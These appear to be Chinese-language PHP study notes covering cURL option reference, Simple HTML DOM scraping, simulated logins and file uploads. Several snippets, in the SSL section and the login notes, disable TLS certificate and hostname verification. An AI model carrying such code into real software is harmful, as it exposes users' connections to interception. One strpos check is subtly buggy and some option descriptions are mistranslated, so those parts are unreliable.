CURLOPT_TIMEOUT integer
设置cURL允许执行的最长秒数
curl_setopt($curlobj,CURLOPT_TIMEOUT,300); // 超时300秒
CURLOPT_PORT integer
用来指定连接端口
CURLOPT_CONNECTTIMEOUT integer
在发起连接前等待的秒数,设置为0则无限等待
CURLOPT_CONNECTTIMEOUT_MS integer
尝试连接等待的时间,以毫秒为单位。设置为0则无限等待
CURLOPT_MAX_RECV_SPEED_LARGE integer
如果下载速度超过了此速度(以每秒字节数来统计),即传输过程中累计的平均数,传输就会降速到这个参数的值。默认不限速。
CURLOPT_LOW_SPEED_LIMIT integer
当传输速度小于CURLOPT_LOW_SPEED_LIMIT时(bytes/sec),PHP会根据CURLOPT_LOW_SPEED_TIME来判断是否因太慢而取消传输
CURLOPT_LOW_SPEED_TIME integer
当传输速度小于CURLOPT_LOW_SPEED_LIMIT时(bytes/sec),PHP会根据CURLOPT_LOW_SPEED_TIME来判断是否因太慢而取消传输
CURLOPT_MAXCONNECTS integer
允许的最大连接数量,超过会通过CURLOPT_CLOSEPOLICY决定应该停止哪些连接
CURLOPT_EXPECT_100_TIMEOUT_MS integer
超时预计: 100毫秒内的continue响应默认为1000毫秒。cURL7.36.0中添加,自PHP7.0.7有效。
CURLOPT_TIMEOUT_MS integer
设置cURL允许执行的最长毫秒数
CURLOPT_TIMEVALUE integer
设置一个CURLOPT_TIMECONDITION使用的时间戳,在默认状态下使用的是CURL_TIMECOND_IFMODSINCE
CURLOPT_TIMECONDITION integer
设置如何对待CURLOPT_TIMEVALUE。
使用CURL_TIMECOND_IFMODSINCE仅在页面CURLOPT_TIMEVALUE之后修改才返回页面,没有修改则返回"304 Not Modified"头,假设设置了CURLOPT_HEADER为TRUE。CURL_TIMECOND_IFUNMODSINCE则起相反的效果。 默认为CURL_TIMECOND_IFMODSINCE
CURLOPT_CONNECT_TO array
连接到指定的主机和端口,替换URL中的主机和端口。接受指定字符串格式的数组: HOST:PORT:CONNECT-TO-HOST:CONNECT-TO-PORT
【 ssl 】
CURLOPT_SSL_VERIFYPEER bool
FALSE禁止cURL验证对等证书peer's certificate。要验证的交换证书可以在CURLOPT_CAINFO选项中设置或在CURLOPT_CAPATH中设置证书目录。
自cURL7.10开始默认为TRUE。从cURL7.10开始默认绑定安装。
curl_setopt($curlobj,CURLOPT_SSL_VERIFYPEER,FALSE); // 停止服务器端进行验证
if (strpos($url,"https")!=false) {
$curl_options[CURLOPT_SSL_VERIFYPEER] = false; // 对认证证书来源的检查
}
CURLOPT_SSL_VERIFYHOST integer
0为不检查名称,设置为1是检查服务器SSL证书中是否存在一个公用名(common name),公用名一般是填写将要申请SSL证书的域名domain或子域名sub domain。值1的支持在cURL7.28.1中被删除了,在生产环境中这个值应该是2(默认值),设置成2会检查公用名是否存在,并且是否与提供的主机名匹配。
curl_setopt($curlobj,CURLOPT_SSL_VERIFYHOST,0); // 停止服务器端进行验证
CURLOPT_SSL_VERIFYSTATUS bool
TRUE验证证书状态。cURL7.41.0中添加,PHP7.0.7起有效
CURLOPT_CERTINFO bool
TRUE将在安全传输时输出SSL证书信息到STDERR。
在cURL7.19.1中添加,PHP5.3.2后有效,需要开启CURLOPT_VERBOSE才有效。
CURLOPT_SSL_FALSESTART bool
TRUE开启TLS False Start,一种TLS握手优化方式
cURL7.42.0中添加,自PHP7.0.7起有效。
CURLOPT_SSL_ENABLE_ALPN bool
FALSE禁用SSL握手中的ALPN (如果SSL后端的libcurl内建支持) 用于协商到http2。cURL7.36.0中增加,PHP7.0.7起有效。
CURLOPT_SSL_ENABLE_NPN bool
FALSE禁用SSL握手中的NPN(如果SSL后端的libcurl内建支持),用于协商到http2。cURL7.36.0中增加,PHP7.0.7起有效。
CURLOPT_SSL_CIPHER_LIST string
一个SSL的加密算法列表。例如RC4-SHA和TLSv1都是可用的加密列表
CURLOPT_SSLCERT string
一个包含PEM格式证书的文件名
CURLOPT_SSLCERTPASSWD string
使用CURLOPT_SSLCERT证书需要的密码
CURLOPT_SSLCERTTYPE string
证书的类型。支持的格式有"PEM" (默认值),"DER"和"ENG"
CURLOPT_SSLENGINE string
用来在CURLOPT_SSLKEY中指定的SSL私钥的加密引擎变量
CURLOPT_SSLENGINE_DEFAULT string
用来做非对称加密操作的变量
CURLOPT_SSLKEY string
包含SSL私钥的文件名
CURLOPT_KEYPASSWD string
使用CURLOPT_SSLKEY或CURLOPT_SSH_PRIVATE_KEYFILE私钥时候的密码。
CURLOPT_SSLKEYPASSWD string
在CURLOPT_SSLKEY中指定了的SSL私钥的密码,由于这个选项包含了敏感的密码信息,记得保证这个PHP脚本的安全
CURLOPT_SSLKEYTYPE string
CURLOPT_SSLKEY中规定的私钥的加密类型,支持的密钥类型为"PEM"(默认值)、"DER"和"ENG"
CURLOPT_SSL_OPTIONS integer
Set SSL behavior options,which is a bitmask of any of the following constants: CURLSSLOPT_ALLOW_BEAST: do not attempt to use any workarounds for a security flaw in the SSL3 and TLS1.0 protocols. CURLSSLOPT_NO_REVOKE: disable certificate revocation checks for those SSL backends where such behavior is present. Added in cURL 7.25.0. Available since PHP 7.0.7
CURLOPT_SSLVERSION integer
使用的SSL版本。默认PHP会自己检测这个值,尽管有些情况下需要手动地进行设置
CURLOPT_CAINFO string
一个保存着1个或多个用来让服务端验证的证书的文件名。仅在和CURLOPT_SSL_VERIFYPEER一起使用时才有意义
CURLOPT_CAPATH string
一个保存着多个CA证书的目录。这个选项是和CURLOPT_SSL_VERIFYPEER一起使用的
【 ssh 】
CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 string
包含32位长的16进制数值。这个字符串应该是远程主机公钥(public key)的MD5校验值。在不匹配的时候libcurl会拒绝连接。此选项仅用于SCP和SFTP的传输
CURLOPT_SSH_PUBLIC_KEYFILE string
The file name for your public key. If not used,libcurl defaults to $HOME/.ssh/id_dsa.pub if the HOME environment variable is set,and just "id_dsa.pub" in the current directory if HOME is not set
CURLOPT_SSH_PRIVATE_KEYFILE string
The file name for your private key. If not used,libcurl defaults to $HOME/.ssh/id_dsa if the HOME environment variable is set,and just "id_dsa" in the current directory if HOME is not set. If the file is password-protected,set the password with CURLOPT_KEYPASSWD.
CURLOPT_SSH_AUTH_TYPES integer
A bitmask consisting of one or more of CURLSSH_AUTH_PUBLICKEY,CURLSSH_AUTH_PASSWORD,CURLSSH_AUTH_HOST,CURLSSH_AUTH_KEYBOARD. Set to CURLSSH_AUTH_ANY to let libcurl pick one. cURL 7.16.1 中添加。
【 proxy 】
CURLOPT_CONNECT_ONLY bool
TRUE将让库执行所有需要的代理、验证、连接过程,但不传输数据。此选项用于HTTP、SMTP和POP3,在7.15.2中添加,PHP5.5.0起有效。
CURLOPT_HTTPPROXYTUNNEL bool
启用时会通过指定的HTTP代理来传输
CURLOPT_PROXYAUTH integer
HTTP代理连接的验证方式。使用在CURLOPT_HTTPAUTH中的位掩码来设置相应选项。对于代理验证只有CURLAUTH_BASIC和CURLAUTH_NTLM当前被支持
CURLOPT_PROXYPORT integer
代理服务器的端口。端口也可以在CURLOPT_PROXY中进行设置
CURLOPT_PROXYTYPE integer
可以是CURLPROXY_HTTP(默认值) CURLPROXY_SOCKS4、 CURLPROXY_SOCKS5、 CURLPROXY_SOCKS4A或CURLPROXY_SOCKS5_HOSTNAME
CURLOPT_PROXY string
HTTP代理通道
CURLOPT_PROXY_SERVICE_NAME string
代理验证服务的名称
CURLOPT_PROXYUSERPWD string
一个用来连接到代理的"[username]:[password]"格式的字符串
CURLOPT_PROXYHEADER array
传给代理的自定义HTTP头
【 ftp 】
CURLOPT_FTP_USE_EPRT bool
启用时当FTP下载时,使用EPRT或LPRT命令。设置为FALSE时禁用EPRT和LPRT,仅仅使用PORT命令
CURLOPT_FTP_USE_EPSV bool
启用时在FTP传输过程中回到PASV模式前首先尝试EPSV命令。设置为FALSE时禁用EPSV命令
CURLOPT_FTP_CREATE_MISSING_DIRS bool
TRUE时当ftp操作不存在的目录时将创建它。
CURLOPT_FTPAPPEND bool
启用时追加写入文件而不是覆盖
CURLOPT_FTPLISTONLY bool
启用时只列出FTP目录的名字
CURLOPT_TRANSFERTEXT bool
启用后对FTP传输使用ASCII模式。对于LDAP,它检索纯文本信息而非HTML。Windows系统上系统不会把STDOUT设置成binary二进制模式
CURLOPT_FTPASCII bool
CURLOPT_TRANSFERTEXT的别名
CURLOPT_TFTP_NO_OPTIONS
TRUE不发送TFTP的options请求。自cURL7.48.0添加,PHP7.0.7起有效。
CURLOPT_FTPSSLAUTH integer
FTP验证方式: CURLFTPAUTH_SSL(首先尝试SSL),CURLFTPAUTH_TLS(首先尝试TLS)或CURLFTPAUTH_DEFAULT(让cURL自动决定)
CURLOPT_POSTQUOTE array
在FTP请求执行完成后,在服务器上执行的一组array格式的FTP命令
CURLOPT_QUOTE array
一组先于FTP请求的在服务器上执行的FTP命令
CURLOPT_FTPPORT string
这个值将被用来获取供FTP"POST"指令所需要的IP地址。"POST"指令告诉远程服务器连接到我们指定的IP地址。这个字符串可以是纯文本的IP地址、主机名、一个网络接口名(UNIX下)或只是一个'-'来使用默认的IP地址
CURLOPT_FTP_FILEMETHOD integer
告诉curl使用哪种方式来获取FTP(s) 服务器上的文件。可能的值有CURLFTPMETHOD_MULTICWD、 CURLFTPMETHOD_NOCWD 和 CURLFTPMETHOD_SINGLECWD。
【 other 】
CURLOPT_VERBOSE bool
启用时会汇报所有的信息,存放在STDERR或指定的CURLOPT_STDERR中
curl_setopt($ch,CURLOPT_VERBOSE,true); // 查看详细的请求过程
CURLOPT_HTTP_VERSION integer
CURL_HTTP_VERSION_NONE(默认值,让cURL自己判断使用哪个版本),CURL_HTTP_VERSION_1_0 (强制使用HTTP/1.0)或CURL_HTTP_VERSION_1_1 (强制使用HTTP/1.1)
CURLOPT_CRLF bool
启用时将Unix的换行符转换成回车换行符
CURLOPT_DNS_USE_GLOBAL_CACHE bool
启用时会启用一个全局的DNS缓存,此选项非线程安全的,默认已开启
CURLOPT_FAILONERROR bool
显示HTTP状态码,默认行为是忽略编号小于等于400的HTTP信息,当HTTP状态码大于等于400,TRUE将显示错误详情。默认将返回页面,忽略HTTP代码
CURLOPT_FILETIME bool
启用时会尝试修改远程文档中的信息。结果信息可通过curl_getinfo()函数的CURLINFO_FILETIME选项获取
CURLOPT_FORBID_REUSE bool
TRUE在完成交互以后强制明确的断开连接,不能在连接池中重用
CURLOPT_FRESH_CONNECT bool
强制获取一个新的连接,替代缓存中的连接
CURLOPT_TCP_NODELAY
TRUE时禁用TCP的Nagle算法,就是减少网络上的小包数量。 PHP5.2.1有效,编译时需要libcurl 7.11.2及以上
CURLOPT_NETRC bool
TRUE时在连接建立时,访问~/.netrc文件获取用户名和密码来连接远程站点。
CURLOPT_NOSIGNAL bool
启用时忽略所有的curl传递给php进行的信号。在SAPI多线程传输时此项被默认启用,所以超时选项仍能使用,cURL7.10时被加入
CURLOPT_PATH_AS_IS bool
TRUE不处理../; cURL7.42.0时被加入,PHP7.0.7起有效。
CURLOPT_PIPEWAIT bool
TRUE则等待pipelining/multiplexing; cURL7.43.0时被加入,PHP7.0.7起有效。
CURLOPT_SASL_IR bool
TRUE开启,收到首包(first packet)后发送初始的响应(initial response)。cURL7.31.10中添加,自PHP7.0.7起有效。
CURLOPT_TCP_FASTOPEN
TRUE开启TCP Fast Open。cURL7.49.0中添加,PHP7.0.7起有效。
CURLOPT_DNS_CACHE_TIMEOUT integer
设置在内存中缓存DNS信息的时间,默认为120秒
CURLOPT_BUFFERSIZE integer
每次获取的数据中读入缓存的大小,但是不保证这个值每次都会被填满
CURLOPT_HEADEROPT
How to deal with headers. One of the following constants: CURLHEADER_UNIFIED: the headers specified in CURLOPT_HTTPHEADER will be used in requests both to servers and proxies. With this option enabled,CURLOPT_PROXYHEADER will not have any effect. CURLHEADER_SEPARATE: makes CURLOPT_HTTPHEADER headers only get sent to a server and not to a proxy. Proxy headers must be set with CURLOPT_PROXYHEADER to get used. Note that if a non-CONNECT request is sent to a proxy,libcurl will send both server headers and proxy headers. When doing CONNECT,libcurl will send CURLOPT_PROXYHEADER headers only to the proxy and then CURLOPT_HTTPHEADER headers only to the server. Defaults to CURLHEADER_SEPARATE as of cURL 7.42.1,and CURLHEADER_UNIFIED before.
Added in cURL 7.37.0. Available since PHP 7.0.7.
CURLOPT_POSTREDIR integer
位掩码,1 (301 永久重定向),2 (302 Found)和4 (303 See Other)设置CURLOPT_FOLLOWLOCATION时,什么情况下需要再次HTTP POST到重定向网址。
cURL7.19.1中添加,PHP5.3.2开始可用
CURLOPT_PROTOCOLS integer
CURLPROTO_*的位掩码。如果被启用,位域值会限定libcurl在传输过程中有哪些可使用的协议。这将允许你在编译libcurl时支持众多协议,但是限制只是用它们中被允许使用的一个子集。默认libcurl将会使用全部它支持的协议。参见CURLOPT_REDIR_PROTOCOLS
可用的协议选项为: CURLPROTO_HTTP、CURLPROTO_HTTPS、CURLPROTO_FTP、CURLPROTO_FTPS、CURLPROTO_SCP、CURLPROTO_SFTP、CURLPROTO_TELNET、CURLPROTO_LDAP、CURLPROTO_LDAPS、CURLPROTO_DICT、CURLPROTO_FILE、CURLPROTO_TFTP、CURLPROTO_ALL
CURLOPT_REDIR_PROTOCOLS integer
CURLPROTO_*中的位域值(位掩码)。如果被启用,位域值将会限制传输线程在CURLOPT_FOLLOWLOCATION开启时跟随某个重定向时可使用的协议。这将使你对重定向时限制传输线程使用被允许的协议子集默认libcurl将会允许除FILE和SCP之外的全部协议。这个和7.19.4预发布版本种无条件地跟随所有支持的协议有一些不同。关于协议常量,请参照CURLOPT_PROTOCOLS
CURLOPT_STREAM_WEIGHT
设置stream weight数值,1和256之间的数字; cURL7.46.0中添加,自PHP7.0.7起有效。
CURLOPT_IPRESOLVE integer
允许程序选择想要解析的IP地址类别。只有在地址有多种ip类别的时候才能用,可以的值有CURL_IPRESOLVE_WHATEVER、 CURL_IPRESOLVE_V4、 CURL_IPRESOLVE_V6,默认是CURL_IPRESOLVE_WHATEVER
CURLOPT_CUSTOMREQUEST string
HTTP请求时使用自定义的Method来代替"GET"或"HEAD"。对"DELETE"或其他更隐蔽的HTTP请求有用。有效值如"GET","POST","CONNECT"等等;也就是说不要在这里输入整行HTTP请求。例如输入"GET /index.html HTTP/1.0\r\n" . PHP_EOL是不正确的。
不确定服务器支持这个自定义方法则不要使用它
CURLOPT_DEFAULT_PROTOCOL string
URL不带协议的时候使用的默认协议。
CURLOPT_DNS_INTERFACE string
Set the name of the networkinterface that the DNS resolver should bind to. This must be an interface name (not an address).
Added in cURL 7.33.0. Available since PHP 7.0.7.
CURLOPT_DNS_LOCAL_IP4 string
Set the local IPv4 address that the resolver should bind to. The argument should contain a single numerical IPv4 address as a string.
Added in cURL 7.33.0. Available since PHP 7.0.7.
CURLOPT_DNS_LOCAL_IP6 string
Set the local IPv6 address that the resolver should bind to. The argument should contain a single numerical IPv6 address as a string.
Added in cURL 7.33.0. Available since PHP 7.0.7.
CURLOPT_EGDSOCKET string
类似CURLOPT_RANDOM_FILE,除了一个Entropy Gathering Daemon套接字
CURLOPT_INTERFACE string
网络发送接口名,可以是一个接口名、IP地址或是一个主机名
CURLOPT_KRB4LEVEL string
KRB4 (Kerberos 4) 安全级别。下面的任何值都是有效的(从低到高的顺序): "clear"、"safe"、"confidential"、"private".。如果字符串和这些都不匹配,将使用"private"。这个选项设置为NULL时将禁用KRB4 安全认证。目前KRB4安全认证只能用于FTP传输
CURLOPT_LOGIN_OPTIONS string
Can be used to set protocol specific login options,such as the preferred authentication mechanism via "AUTH=NTLM" or "AUTH=*",and should be used in conjunction with the CURLOPT_USERNAME option. Added in cURL 7.34.0. Available since PHP 7.0.7.
CURLOPT_PINNEDPUBLICKEY string
Set the pinned public key. The string can be the file name of your pinned public key. The file format expected is "PEM" or "DER". The string can also be any number of base64 encoded sha256 hashes preceded by "sha256//" and separated by ";". Added in cURL 7.39.0. Available since PHP 7.0.7.
CURLOPT_PRIVATE string
Any data that should be associated with this cURL handle. This data can subsequently be retrieved with the CURLINFO_PRIVATE option of curl_getinfo(). cURL does nothing with this data. When using a cURL multi handle,this private data is typically a unique key to identify a standard cURL handle.
CURLOPT_RANDOM_FILE string
一个被用来生成SSL随机数种子的文件名
CURLOPT_SERVICE_NAME string
验证服务的名称
CURLOPT_UNIX_SOCKET_PATH string
使用Unix套接字作为连接,并用指定的string作为路径
CURLOPT_HTTP200ALIASES array
HTTP 200响应码数组,数组中的响应码被认为是正确的响应,而非错误
CURLOPT_RESOLVE array
提供自定义地址,指定了主机和端口。 包含主机、端口和ip地址的字符串,组成array的,每个元素以冒号分隔。格式: array("example.com:80:127.0.0.1")
-------------------------------------------------------------------------------
CURLOPT_FILE 流资源(如使用fopen())
设置输出文件的位置,值是一个资源类型,默认为STDOUT (浏览器)
CURLOPT_INFILE 流资源(如使用fopen())
在上传文件的时候需要读取的文件,值是一个资源类型
CURLOPT_STDERR 流资源(如使用fopen())
设置一个错误输出地址,取代默认的STDERR,值是一个资源类型
CURLOPT_WRITEHEADER 流资源(如使用fopen())
设置header部分内容的写入的文件地址,值是一个资源类型
-------------------------------------------------------------------------------
CURLOPT_HEADERFUNCTION 回调函数名或闭包
设置一个回调函数,这个函数有两个参数,第一个是cURL的资源句柄,第二个是输出的header数据。header数据的输出必须依赖这个函数,返回已写入的数据大小
CURLOPT_PASSWDFUNCTION 回调函数名或闭包
设置一个回调函数,第一个是cURL的资源句柄,二是一个密码提示符,三参是密码长度允许的最大值。返回密码的值
CURLOPT_PROGRESSFUNCTION 回调函数名或闭包
设置一个回调函数,有五个参数,第一个是cURL的资源句柄,第二个是预计要下载的总字节(bytes)数。第三个是目前下载的字节数,第四个是预计传输中总上传字节数,第五个是目前上传的字节数。
只有设置CURLOPT_NOPROGRESS选项为FALSE时才会调用这个回调函数。
返回非零值将中断传输。 传输将设置CURLE_ABORTED_BY_CALLBACK错误
CURLOPT_READFUNCTION 回调函数名或闭包
回调函数名。该函数应接受三个参数。第一个是cURL resource;第二个是通过选项CURLOPT_INFILE传给cURL的stream resource;第三个参数是最大可以读取的数据的数量。回调函数必须返回一个字符串,长度小于或等于请求的数据量(第三个参数)。一般从传入的stream resource读取。返回空字符串作为 EOF(文件结束) 信号
CURLOPT_WRITEFUNCTION 回调函数名或闭包
回调函数名。该函数应接受两个参数,第一个是cURL resource;第二个是要写入的数据字符串。数据必须在函数中被保存。函数必须返回准确的传入的要写入数据的字节数,否则传输会被一个错误所中断
xpath解析html、xml devtool RC
SHDP(PHP Simple HTML DOM Parser)让php像jquery一样操作html
获取element元素
$html = file_get_html('http://www.baidu.com/');
foreach($html->find('img') as $element) // Find all images 获取图片链接
echo $element->src;
foreach($html->find('a') as $element) // Find all links 获取所有链接
echo $element->href;
修改element元素 属性 和值
$html = str_get_html('< div id="hello">Hello< /div>< div id="world">World< /div>'); // Create DOM from string
$html->find('div', 1)->class = 'bar'; // 改变第二个div的class
$html->find('div[id=hello]', 0)->innertext = 'foo';
echo $html; // Output: < div id="hello">foo< /div>< div id="world" class="bar">World< /div>
echo file_get_html('http://www.ycu.edu.cn/B20110603182545.html')->plaintext; // plaintext可以取到标签的纯文本
$html = file_get_html('http://tech.sina.com.cn/d/i/2015-11-10/doc-ifxkniur3014232.shtml');
// Find all article blocks,利用网页源代码的标签页进行局部信息的采集
foreach($html->find('div.blkContainerSblk') as $article) {
$item['title'] = $article->find('h1#artibodyTitle', 0)->plaintext; //
$item['pubinfo'] = $article->find('div.artInfo', 0)->plaintext;
$item['date'] = $article->find('span#pub_date', 0)->plaintext;
$item['details'] = $article->find('div[id=artibody]', 0)->plaintext;
$articles[] = $item;
}
print_r($articles);
创建dom对象
$html1 = str_get_html('< html>< body>Hello!< /body>< /html>');
$html2 = file_get_html('http://www.baidu.com/');
$html3 = file_get_html('../aj.html');
面向对象的方法Object-oriented way
$html = new simple_html_dom();
$html->load('< html>< body>Hello!word!< /body>< /html>');
$html->load_file('http://www.google.com/');
$html->load_file('test.htm');
How to find HTML elements
$ret = $html->find('a'); // Find all anchors, returns a array of element objects
$ret = $html->find('a', 0); // Find (N)th anchor, returns element object or null if not found (zero based)
$ret = $html->find('a', -1); // Find lastest anchor, returns element object or null if not found (zero based)
$ret = $html->find('div[id]'); // Find all div with the id attribute 找到所有有id的
$ret = $html->find('div[id=foo]'); // Find all div which attribute id=foo 找到id为。。。的。
$ret = $html->find('#foo'); // Find all element which id=foo
$ret = $html->find('.foo'); // Find all element which class="foo"
$ret = $html->find('*[id]'); // Find all element has attribute id 有id属性
$ret = $html->find('a, img'); // Find all anchors and images 找到所有 链接 和 图片
$ret = $html->find('a[title], img[title]'); // Find all anchors and images with the "title" attribute找到所有拥有title属性的连接和图片
后代选择器
$es = $html->find('ul li');
$es = $html->find('div div div');
$es = $html->find('table.hello td');
$es = $html->find('table td[align=center]');
嵌套选择器
foreach($html->find('ul') as $ul){
foreach($ul->find('li') as $li){
// do something...
}
}
$e = $html->find('ul', 0)->find('li', 0); // Find first li in first u
属性选择器
Supports these operators in attribute selectors:
Filter Description
[attribute] Matches elements that have the specified attribute.
[!attribute] Matches elements that don't have the specified attribute.
[attribute=value] Matches elements that have the specified attribute with a certain value.
[attribute!=value] Matches elements that don't have the specified attribute with a certain value.
[attribute^=value] Matches elements that have the specified attribute and it starts with a certain value. 属性值的 起始 为特定的值
[attribute$=value] Matches elements that have the specified attribute and it ends with a certain value. 属性值的 结束 为特定的值
[attribute*=value] Matches elements that have the specified attribute and it contains a certain value. 属性值的 包含 特定的值
查找所有文本块 评论内容
$es = $html->find('text'); // Find all text blocks
$es = $html->find('comment'); // Find all comment (< !--...-->) blocks
How to access the HTML element's attributes? 如何访问html元素的属性
$value = $e->href; //获得,Get a attribute ( If the attribute is non-value attribute (eg. checked, selected...), it will returns true or false)
$e->href = 'my link'; //设置 赋值,Set a attribute(If the attribute is non-value attribute (eg. checked, selected...), set it's value as true or false)
$e->href = null; //移除 置空,Remove a attribute, set it's value as null!
if(isset($e->href)) echo 'href exist!'; // Determine whether a attribute exist? 判断元素是否存在
魔法属性
$html = str_get_html("< div>foo < b>bar< /b> < /div>");
$e = $html->find("div", 0);
echo $e->tag; // Returns: " div" //标签
echo $e->outertext; // Returns: " < div>foo < b>bar< /b>< /div>" 获取到的所有 显示的只有 foo bar 但是都是带着属性的,比如颜色啊还有黑体等等
echo $e->innertext; // Returns: " foo < b>bar< /b>" 标签内部的 只显示内部的。内部的标签属性还是可以现实的。
echo $e->plaintext; // Returns: " foo bar" 纯文本的 不带标签属性 只是纯文本 其他的颜色 字体等等 都没了。
// Attribute Name Usage
// $e->tag Read or write the tag name of element.
// $e->outertext Read or write the outer HTML text of element.
// $e->innertext Read or write the inner HTML text of element.
// $e->plaintext Read or write the plain text of element.
小技巧
echo $html->plaintext; // Extract contents from HTML
$e->outertext = '< div class="wrap">' . $e->outertext . '< div>'; // Wrap a element 包裹一个元素
$e->outertext = ''; // Remove a element, set it's outertext as an empty string 移除
$e->outertext = $e->outertext . '< div>foo< div>'; //附加元素 后面
$e->outertext = '< div>foo< div>' . $e->outertext; // Insert a element 插入元素(在元素前面)
How to traverse the DOM tree? 遍历dom树
echo $html->find("#div1", 0)->children(1)->children(1)->children(2)->id;
echo $html->getElementById("div1")->childNodes(1)->childNodes(1)->childNodes(2)->getAttribute('id');
Method Description
mixed$e->children ( [int $index] ) Returns the Nth child object if index is set, otherwise return an array of children.
element$e->parent () Returns the parent of element.
element$e->first_child () Returns the first child of element, or null if not found.
element$e->last_child () Returns the last child of element, or null if not found.
element$e->next_sibling () Returns the next sibling of element, or null if not found.
element$e->prev_sibling () Returns the previous sibling of element, or null if not found.
$str = $html; //How to dump contents of DOM object? 如何转存dom对象
echo $html; // Print it!
$str = $html->save(); //面向对象方式,Dumps the internal DOM tree back into string 存为字符串
$html->save('result.htm'); // Dumps the internal DOM tree back into a file 存到文件
How to customize the parsing behavior? 如何自定义解析行为
function my_callback($element) { // Write a function with parameter "$element"
if ($element->tag=='b') $element->outertext = ''; // Hide all b tags
$html->set_callback('my_callback'); // Register the callback function with it's function name
echo $html; // Callback function will be invoked while dumping
资源
资源: 网页(爬虫)、webserver数据接口资源(天气、号码归属地等)、脚本、图片、FTP服务器文件资源(下载上传文件)... php中使用cURL函数的基本思想是先使用curl_init()初始化cURL会话,接着可以通过curl_setopt()设置需要的全部选项,然后使用curl_exec()来执行会话,当执行完会话后使用curl_close()关闭会话制作网页爬虫抓取网页并替换部分内容使用curl库curl debug
curl_getinfo()的用法 如果已经连接到服务器上了将会返回一个状态码,否则将会失败并返回0 所以如果连接到www.google.com/lksdfk时会收到一个400的状态码,如果连接到google.com会收到一个302的状态码;如果继续访问的话将会收到200的状态码,因为被重定向到了www.google.com.hk,如果访问googlecom会收到一个0状态码,并提示找不到host。 错误的详细原因可以通过函数curl_error()进行查询cmd> E:\wamp64\www\study\php\curl>php curl_crawler_replace.php > baidu_replace.htmlcurl抓取访问https页面获取csdn jquery文件,E:\wamp64\www\study\php\curl>php curl_https.php > https.jsget请求post请求curl post方式调用webserver获取天气信息(weatherWs web server服务器)封装curl请求curl中cookie的模拟登录
curl post方式登录慕课网,并get方式抓取个人中心页面 curl模拟登陆时,目标有可能第一步就给浏览器种cookie,在每一步CURLOPT_COOKIEJAR,CURLOPT_COOKIEFILE都要尽量加上postdata中除了账号密码,还有个先要通过爬取login页面才能获得的csrf参数curl 从FTP服务器下载文件到本地curl 从本地文件上传到FTP服务器curl 访问https服务器【 curl模拟登陆并获取网页数据 】
1. 首先需要对相应的登录页面的html源代码进行分析,获得一些必要的信息: (1)登录页面的地址; (2)验证码的地址; (3)登录表单需要提交的各个字段的名称和提交方式; (4)登录表单提交的地址; (5)另外要需要知道要抓取的数据所在的地址2. 获取cookie并存储
3. 获取验证码并存储(针对使用验证码的网站): 由于不能实现验证码的识别,所以这里的做法是,把验证码图片抓取下来存放到本地文件中,然后在自己项目中的html页面中显示,让用户去填写,等用户填写完账号、密码和验证码,并点击提交按钮之后再去进行下一步的操作4. 模拟提交登录表单: 5. 抓取数据:
到目前为止,已经把数据所在地址的这个页面都抓取下来存储在字符串变量$data中了 需要注意的是抓取下来的是一个网页的html源代码,也就是说这个字符串中不仅包含了你想要的数据,还包含了许多的html标签等不想要的东西。所以如果想要从中提取出需要的数据的话,还要对存放数据的页面的html代码进行分析,然后结合字符串操作函数、正则匹配等方法从中提取出想要的数据 以上方法对使用http协议的一般网站是有效的。但是如果要模拟登录的是使用了https协议的网站的话还需要添加如下一些处理:1. 跳过https验证: 2. 使用用户代理:
使用以上程序模拟登录网站一般都是能成功的,但是实际上还是需要针对模拟登录的网站具体情况具体考虑
例如: 有些网站编码不同抓取下来的页面是乱码,这时就要进行一下编码转换,如: $data = iconv("gb2312","utf-8",$data);,把gbk编码转换为utf8编码
还有一些对安全性要求比较高的网站,比如网银,会把验证码放在一个内联框架中,这时你就需要先抓取到内联框架的页面然后在从中提取出验证码的地址,再去抓取验证码
还有一些网站(比如网银)是在js代码中去提交表单的,提交表单之前还会去做一些处理,比如加密等,所以如果你是直接提交的话也是不能登录成功的,你必须要去做类似的处理后再提交,但是这种情况如果你能知道js代码中进行的具体操作,比如加密的话,加密算法是怎样的,你就可以进行跟它一样的处理,然后再去提交数据,这样也是能成功的
但是根本不知道它进行的是什么操作,比如它进行了加密,但是不知道加密的具体算法,那么就无法进行相同的操作,也就不能成功地模拟登录了。这方面典型的案例就是网银,它在js代码中提交表单之前使用网银控件对用户提交的密码和验证码进行了一些处理,但是根本不知道它进行的是什么操作,所以无法模拟
【 利用curl多线程模拟并发机制实现php批量网络请求 】
第一步: 调用curl_multi_init
第二步: 循环调用curl_multi_add_handle,其第二个参数是由curl_init而来的子handle。
第三步: 持续调用curl_multi_exec
第四步: 根据需要循环调用curl_multi_getcontent获取结果
第五步: 调用curl_multi_remove_handle,并为每个字handle调用curl_close
第六步: 调用curl_multi_close
CURLFile类上传文件
CURLFile应该与选项CURLOPT_POSTFIELDS一同用于上传文件
CURLFile {
/* 属性 */
public $name ; // 待上传文件的名称
public $mime ; // 文件的MIME type,默认是application/octet-stream
public $postname ; // 上传数据中的文件名称,默认为属性name
/* 方法 */
public __construct ( string $filename [,string $mimetype [,string $postname ]] ) // 创建CURLFile对象
public string getFilename ( void ) // 获取被上传文件的文件名
public string getMimeType ( void ) // 获取被上传文件的 MIME 类型
public string getPostFilename ( void ) // 获取 POST 请求时使用的 文件名
public void setMimeType ( string $mime ) // 设置被上传文件的 MIME 类型
public void setPostFilename ( string $postname ) // 设置 POST 请求时使用的文件名
public void __wakeup ( void ) // 反序列化句柄
}
CURLFile::__construct -- curl_file_create — 创建CURLFile对象,返回CURLFile对象
public CURLFile::__construct ( string $filename [,string $mimetype [,string $postname ]] ) // 面向对象风格
CURLFile curl_file_create ( string $filename [,string $mimetype [,string $postname ]] ) // 过程化风格
curl_file_create函数是CURLFile::__construct()函数的别名
可以通过function_exists('curl_file_create')检测有没有curl_file_create这个函数
也可以检测class_exists('\CURLFile')有没有类\CURLFile
curl_setopt($ch,CURLOPT_POSTFIELDS,$postData);
$postData为数组时Content-Type头部会被设置为multipart/form-data,通过file_get_contents('php://input')获取不到post提交的到数据,通过$_POST可以,$_FILES可以获取数据
curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($postData));
这个参数值为urlencoded后的字符串,类似'para1=val1¶2=val2&...'Content-Type头部会被设置为application/x-www-form-urlencoded,通过file_get_contents('php://input')可以获取到post提交的到数据,通过$_POST也可以,$_FILES获取不到数据
传递json参数
1、设置Content-Type: application/json,传递json数据参数时,file_get_contents('php://input')可以获取到数据,其他获取不到
